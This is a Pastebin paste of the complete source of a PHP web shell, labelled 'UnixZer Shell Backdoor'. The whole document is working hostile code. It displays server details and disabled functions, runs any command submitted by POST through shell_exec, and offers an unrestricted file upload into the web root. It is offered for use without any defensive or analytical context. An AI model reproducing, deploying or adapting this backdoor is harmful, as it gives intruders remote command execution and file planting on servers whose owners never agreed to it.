Ribang

UnixZer Shell Backdoor

Jun 27th, 2018
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.01 KB | None | 0 0
  1. <head>
  2. <title>UnixZer Shell Backdoor</title>
  3. <meta charset="utf-8">
  4. <meta name="viewport" content="width=device-width, initial-scale=1">
  5. <link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
  6. <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
  7. <script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
  8.  
  9. <style>
  10. .wkwk {
  11. display: inline-block;
  12. padding: 6px 12px;
  13. margin-bottom: 0;
  14. font-size: 14px;
  15. font-weight: 400;
  16.  
  17. border:1px solid teal;
  18. text-align: left;
  19. white-space: nowrap;
  20. }
  21. body {
  22. background:black;
  23. color:teal;
  24. }
  25. textarea {
  26. resize:none;
  27. }
  28. input[type=file]{
  29. display : inline;
  30. }
  31. </style>
  32. </head>
  33. <body background=black>
  34. <center>
  35. <div class="container">
  36. <table width=76% align=center>
  37.  
  38. <tr>
  39. <td align=left><font color=lime><h2>UnixZer Shell V.1 - Original coded by synchronizer</h2><br></font></td></tr></table>
  40.  
  41.  
  42. <?php
  43. @ini_set('display_errors', 0);
  44. function showdisablefunctions() {
  45. if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
  46. else { return "<span style='color:#00FF1E'><b>NONE</b></span>"; }
  47. }
  48. $x = @php_uname();
  49. $d = showdisablefunctions().' <font color=white>on</font> <font color=teal>'.php_sapi_name().'</font>';
  50. $soft = getenv("SERVER_SOFTWARE");
  51. echo '
  52. <table width=76% align=center>
  53.  
  54. <th></th>
  55. <th></th>
  56. <tr>
  57. <td class="wkwk" align=right><font color=white>Software </font></td><td class="wkwk" align=left><font color=red> '.$soft.'</font></td></tr><tr>
  58. <td class="wkwk" align=right><font color=white>System OS </font></td><td class="wkwk" align=left><font color=red> '.$x.'</font></td></tr>
  59. <tr><td class="wkwk" align=right><font color=white>Disabled </font></td><td class="wkwk" align=left><font color=red> '.$d.'</font></td></tr>
  60.  
  61. </table>';
  62. ?>
  63. <br><br>
  64. </div>
  65. <div class="container">
  66. <form method="POST" action="">
  67. <font color=red><b>COMMAND :</b></font>
  68. <input type="text" style="background:black;color:orange;" class="wkwk" size="103" name="cmd">
  69. </form>
  70. <?php if(isset($_POST['cmd'])){
  71. $data = $_POST['cmd'];
  72. $result = shell_exec($data);
  73. }else{
  74. $result = shell_exec("help");
  75. }
  76. ?>
  77. <textarea readonly="" class="wkwk" style="background:black;color:lime;margin: 0px; width: 863px; height: 293px;">
  78. <?php echo $result;?>
  79. </textarea>
  80. <br><br>
  81. <?php
  82. echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  83. echo '<input class="wkwk btn btn-success" type="file" name="file" size="50"> <input class="wkwk btn btn-success" name="_upl" type="submit" id="_upl" value="Upload"></form>';
  84. if( $_POST['_upl'] == "Upload" ) {
  85. if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>UPLOAD - OK</b><br><br>'; }
  86. else { echo '<b>UPLOAD - ERROR</b><br><br>'; }
  87. }
  88. ?>
  89. </center>
  90. </div>
  91.  
  92. </body>
  93. </html>
Add Comment
Please, Sign In to add comment